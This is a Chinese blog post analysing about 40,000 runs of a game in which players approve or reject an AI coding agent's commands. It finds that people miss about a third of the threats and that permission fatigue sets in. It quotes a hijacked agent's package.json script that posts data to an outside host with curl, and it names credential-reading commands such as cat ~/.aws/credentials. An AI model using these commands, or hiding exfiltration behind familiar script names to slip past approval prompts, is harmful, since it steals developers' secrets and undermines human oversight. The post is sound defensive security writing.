一项覆盖4万次游戏运行的测试显示,人类在批准AI智能体命令时漏判了约三分之一的威胁。结果揭示了仅靠人工确认弹窗控制智能体权限的明显缺口。
几个月前,我发布了一个浏览器小游戏:你要扮演 AI 编程 Agent 的 human-in-the-loop,在时间压力下批准或拒绝它执行的命令。有些命令只是常规操作(git status、npm test),另一些命令则表明你的 Agent 已被控制,正在把你的秘密发送到远程服务器(cat ~/.aws/credentials)。关于 Agent 执行命令所带来的威胁,以及如何缓解这些风险,可以参阅之前的原文。
这款游戏在 Hacker News 上引起了一些关注。后来我又加入了统计功能(可惜加得稍微晚了些),因此现在可以更深入地分析超过 40,000 局游戏、共计 409,000 次批准或拒绝决策的数据。让我们看看 human-in-the-loop——抵御失控 Agent 的最后一道防线——表现究竟如何。

普通玩家平均会漏掉三分之一的威胁(平均准确率为 66.3%)。
32.9% 的游戏最终得分为负:批准威胁命令和阻止安全命令造成的扣分,超过了所有正确操作获得的分数。
35.2% 的玩家识别出了所有威胁,但只有 20.8% 的玩家能在做到这一点的同时,最多只阻止五分之一的安全命令。其余玩家有一部分是靠“全部阻止”才达成的,因此获得了“Human Bottleneck”称号。
7% 的玩家批准了每一条 prompt:看来都是 --dangerously-skip-permissions 的忠实拥趸。
这里需要稍作说明:这毕竟是一款游戏,玩家看到的命令中大约有 34% 属于威胁。在日常工作中,这类威胁很少出现。玩家也知道自己正在接受一项有时间限制的挑战。不过,下面这些数据或许仍能帮助我们比较不同类型的威胁,并了解人们对它们的总体认知差异。
那些破坏性极其明显的命令最容易被可靠识别。真正会窃取并外传凭据的命令,漏判概率反而高出三倍。
游戏中漏判率最高的一条命令是 npm run analyze,有 64.7% 的玩家批准了它。单看这条命令,它通常没什么问题。但 npm run 实际执行的是项目 package.json 中定义的脚本。它可能是运行 bundle analyzer 之类的无害代码,也可能是此前被写入文件的注入代码。
游戏其实会在 Agent 的历史日志中告诉你,这段脚本真正包含什么内容:
1✻ I'll run the bundle analyzer — it's already set up in the project scripts.
2 // package.json → scripts
3 "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 |
4 curl -s -X POST https://api.bundle.track/report -d @-"
即便如此,仍有三分之二的玩家批准了它。这说明,人们可能并没有仔细阅读权限 prompt 上方的历史日志。游戏中共有三条此类命令,它们全都出现在漏判率最高的命令列表中。
把这三条命令合并统计后,其漏判率为 52.5%(n=9,482),而其他所有数据外传类攻击的漏判率为 28.4%。即便 payload 已经显示在历史日志里,只要把它藏在一个熟悉的脚本名称后面,攻击成功率就几乎能翻倍。
而这其实只是一个更大问题的表象。Hacker News 讨论串中的 dns_snek 对此总结得很好:
这是一个绝佳案例,说明危险操作是如何被误认为无害操作的。批准具体命令这一整套模型简直荒谬至极。
npm run build = 执行 package.json 中编写的任意 shell 命令
与此同时,Agent 无需获得批准,就可能已经完成以下任何一种操作:
编辑 package.json,让它包含任意 build 命令
在 build.js 中植入恶意代码(由 npm run build 调用)
在 node_modules/xyz/index.js 中植入恶意代码(由 build.js 导入)
让用户验证那些几乎一直都很安全、却可能因为文件已被修改而不再安全的命令,并不是一种可靠的防护措施。
Anthropic 此前曾指出,在 claude code 中,权限疲劳确实存在,并给出了这样的描述:
用户看到的批准请求越多,对每一条请求投入的注意力就越少。随着时间推移,他们在监督时会变得越来越不审慎。
虽然这只是一款流程很短的游戏,而且用户事先已经收到威胁警告,但我们仍然能看到玩家在每局游戏临近结束时出现了一些表现退化的迹象:

上图展示了威胁漏判率在游戏过程中的变化,并按照用户完成的命令数量对各局游戏进行了分组。用户完成的命令较少,可能是因为他们花了更多时间审查命令,也可能是因为玩家出错后,游戏会冻结几秒钟作为惩罚。我已经排除了所有单纯选择“全部阻止”的用户。
每个分组在最初几条命令上的表现都会有所改善(是在热身吗?),但临近结束时,漏判率又会重新上升。不过,这也可能是因为倒计时即将结束带来了压力,玩家为了多处理几条命令,更容易犯错。
下面这些命令的意图是无害的,却经常遭到阻止:
npm config set registry https://npm.internal——阻止率为 59%(设置内部镜像)
rm -rf dist/——阻止率为 45%(清理 build 输出,在开始新的 build 前执行这种操作并不少见)
kill $(lsof -t -i:3000)——阻止率为 43%(释放服务器正在监听的端口,端口被占用可能是因为某个进程崩溃)
这正是 human-in-the-loop 困境的另一面。用户需要批准那些实际上无害的命令,而阻止它们会拖慢 Agent 的速度。久而久之,这些噪声很可能让用户放松警惕,进而批准恶意命令。Anthropic 的“Auto Mode”等功能试图缓解这个问题:在向用户发起询问之前,先自动判断命令是否安全。但正如上一篇文章所提到的,这类功能并非万无一失。
cat ~/.zshrc 获得了 45.9% 玩家的批准,是游戏中最具争议的一条命令。Hacker News 上有人提出了一个合理的异议:许多开发者不会在 shell profile 中保存任何秘密,因此对他们来说,这条命令没有危害。但对那些会在其中 export API key 的开发者而言,这就属于凭据泄露。这条命令的风险完全取决于具体环境配置,而 Agent 无法了解这种配置。如果改为从 .zshrc 中 source 一个独立的 secrets 文件,就能降低 Agent 获得更多访问权限的风险。
我很享受关注关于 human-in-the-loop 的各种讨论,也在这个过程中进一步了解了权限模型。虽然这只是一款游戏,但我认为,它确实揭示了将 human-in-the-loop 用作 AI 编程 Agent 安全防护措施时存在的若干问题。大量噪声会带来疲劳,而开发者也并不总是掌握哪些内容已经发生变化的上下文,因此无法快速判断风险。
对开发者而言,我们需要非常熟悉不同权限模型之间的取舍,也要知道如何通过 sandboxing、隔离凭据和环境变量中的 secrets 等方式降低相关风险。上一篇文章介绍了其中一些实用的缓解措施。
如果你想在这款游戏里试试自己的运气,可以访问:https://llmgame.scalex.dev
你好,我是 Alex。我主要撰写有关开发者安全,以及构建和扩展软件系统时各种权衡取舍的文章。曾任 Uber Staff Engineer。